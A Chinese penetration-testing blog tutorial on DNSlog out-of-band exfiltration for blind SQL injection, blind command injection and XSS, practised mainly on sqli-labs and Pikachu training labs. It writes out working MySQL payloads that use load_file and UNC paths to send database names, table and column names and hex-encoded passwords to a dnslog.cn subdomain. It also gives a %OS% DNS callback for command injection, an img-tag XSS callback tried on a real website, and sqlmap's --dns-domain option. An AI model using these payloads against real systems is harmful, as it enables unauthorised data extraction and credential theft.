zoukankan      html  css  js  c++  java
  • DNSlog平台各种利用姿势(盲注)

    题记

           首先祝大家新年快乐,过年给我最大的感觉就是几家欢喜几家愁,我们国家总量看似光鲜,可是平均下来也不多,小老百姓更不容易了,一般没有文化的百姓除了创业就是打工就是中间商赚差价,真是生活不易,加油,一起建设新中国。

           DNSlog我以前是通过看推文了解过,后来零组上架了这么个功能,想着试试,后来发现零组的好像还用不了,还是用别的平台吧,这是可以利用它进行快速盲注的工具,看完大佬们的文章复现完受益良多,get到一个新姿势。玩这个的原因之一也包括我最近在整理sql注入。

    靶场环境

           DNSlog平台:http://dnslog.cn

           Sqli-less5:存在布尔盲注漏洞。

           皮卡丘靶场命令执行模块

           真实网站反射型xss

    DNSlog简介

           在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过这种方式把想获得的数据外带出来。

           DNS的全称是Domain Name System(网络名称系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如www.baidu.com,网络上的DNS Server会将该域名解析,并找到对应的真实IP如127.0.0.1,使用户可以访问这台服务器上相应的服务。

           了解到了什么是DNS,那么什么又是DNSlog呢?

           DNSlog就是存储在DNS Server上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。

           原理:我注册了一个为a.com的域名,我将他a记录泛解析到10.0.0.0上,这样就实现了无论我记录值填什么他都有解析,并且都指向10.0.0.0,当我向dns服务器发起test.a.com的解析请求时,DNSlog中会记录下他给test.a.com解析,解析值为10.0.0.0。(通俗来讲就是我们申请一个dnslog的平台,当我们盲注的时候把想要的数据和平台给的地址拼接起来,dnslog平台就会把请求的记录显示出来。)

    常用在哪些情况下:

           1、SQL注入中的盲注

           2、无回显的命令执行

           3、无回显的SSRF

    用到的函数

           DNSlog进行注入需要用到load_file()函数,为什么要用load_file函数呢?因为load_file函数可以解析dns请求。

           数据库中使用此payload:select load_file('\\SQL注入查询语句.a.com')

           有些地方用Hex编码,编码目的就是减少干扰,因为很多数据库字段的值可能是有特殊符号的,这些特殊符号拼接在域名里是无法做dns查询的,因为域名是有一定的规范,有些特殊符号是不能带入的。

           注意:load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。

    Sqli利用DNSlog进行布尔盲注

           1、打开DNSlog平台,申请一个域名。此时我们申请到h6xj05.dnslog.cn。

           2、打开布尔盲注靶场,http://192.168.1.132:86/Less-5/?id=1为正常页面。加上'报错,可能发现只返回真和假,于是利用DNSlog。

           注意这里的""表示转义,后面的ABC可以改成任何字母;sql语句在双引号内不执行,所以要用concat()函数拼接sql语句在双引号内不执行,所以要用concat()函数拼接。

    查询数据库名称

           第一条payload: ' and if((select load_file(concat('\\',(select database()),'.h6xj05.dnslog.cn\aaa'))),1,1)--+

           当我们在浏览器输入payload的时候,页面返回正常且DNSlog收到数据库的记录。

           页面执行的语句在数据库中对应的语句为select * from users where id='1' and if((select load_file(concat('\\',(select database()),'.h6xj05.dnslog.cn\aaa'))),1,1)-- ' LIMIT 0,1

    查表名

           首先我们看数据库中表名:

           查第一个表的名字:' and if((select load_file(concat('\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.h6xj05.dnslog.cn\aaa'))),1,1)--+

           查第二个表的名字:' and if((select load_file(concat('\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.h6xj05.dnslog.cn\aaa'))),1,1)--+

    查字段名

           ?id=1' and if((select load_file(concat('\\',(select column_name from information_schema.columns where table_name='users' limit 1,1),'.h6xj05.dnslog.cn\aaa'))),1,1)--+

           如果查别的字段修改limit后面的值即可。

           做的过程不小心把dnslog刷新了,可以后面域名有所变化,原理是相通的,不影响理解。

    查想要的值

           查找users表中password字段的第一个值:?id=1' and if((select load_file(concat('\\',(select hex(password) from users limit 0,1),'.licayh.dnslog.cn\aaa'))),1,1)--+

           查找users表中password字段的第二个值:?id=1' and if((select load_file(concat('\\',(select hex(password) from users limit 1,1),'.licayh.dnslog.cn\aaa'))),1,1)--+

    Hex解密

           打开http://ctf.ssleye.com/hex.html

           可以看到解得

           分别对应的数据库中数据。

    其他无回显注入

    命令注入

           适用于无回显的命令注入点

           使用皮卡丘靶场的命令注入模块实验

           假设该注入点无回显

           查询到了我们输入的变量

           %os%.licayh.dnslog.cn

    windows常用变量:
    
    //变量 类型 描述
    
    //%ALLUSERSPROFILE% 本地 返回"所有用户"配置文件的位置。
    
    //%APPDATA%    本地 返回默认情况下应用程序存储数据的位置。
    
    //%CD% 本地 返回当前目录字符串。
    
    //%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
    
    //%CMDEXTVERSION% 系统 返回当前的"命令处理程序扩展"的版本号。
    
    //%COMPUTERNAME% 系统 返回计算机的名称。
    
    //%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
    
    //%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
    
    //%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
    
    //%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在"本地用户和组"中指定的。
    
    //%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在"本地用户和组"中指定的。
    
    //%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在"本地用户和组"中指定的。
    
    //%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
    
    //%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
    
    //%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
    
    //%PATH% 系统 指定可执行文件的搜索路径。
    
    //%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
    
    //%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
    
    //%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
    
    //%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
    
    //%PROCESSOR_REVISION% 系统 返回处理器的版本号。
    
    //%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
    
    //%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
    
    //%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
    
    //%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
    
    //%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
    
    //%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
    
    //%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
    
    //%USERNAME% 本地 返回当前登录的用户的名称。
    
    //%USERPROFILE% 本地 返回当前用户的配置文件的位置。
    
    //%WINDIR% 系统 返回操作系统目录的位置。

    xss盲打

           找一个有反射型xss的网站

           注入点插入:<img src="http://licayh.dnslog.cn/aaa">

           收到请求说明触发了插入的js代码

    sqlmap使用dns

           sqlmap可以使用--dns-domain参数实现自动化dns注入

    参考链接

           渗透测试中dns log的使用(很不错的一篇原理解析文):http://cnblogs.com/rnss/p/11320305.html

           一篇文章理解DNSlog的妙用:http://mp.weixin.qq.com/s/MFKs80OcUdtUKmBO6WBcQA

           Dnslog在SQL注入中的实战(各种数据库全了,有需要可看此处复习):http://anquanke.com/post/id/98096

  • 相关阅读:
    java开发中遇到的问题及解决方法(持续更新)
    java.lang.UnsatisfiedLinkError: no XXX in java.library.path
    JNI与JNA性能比较
    JNA—JNI终结者
    JNI的替代者—使用JNA访问Java外部功能接口
    iOS开发UI篇—多控制器和导航控制器简单介绍
    李洪强iOS开发-网络新闻获取数据思路回顾
    iOS开发UI篇—Date Picker和UITool Bar控件简单介绍
    iOS开发UI篇—程序启动原理和UIApplication
    iOS开发UI篇—常见的项目文件介绍
  • 原文地址:https://www.cnblogs.com/sunny11/p/14399420.html
Copyright © 2011-2022 走看看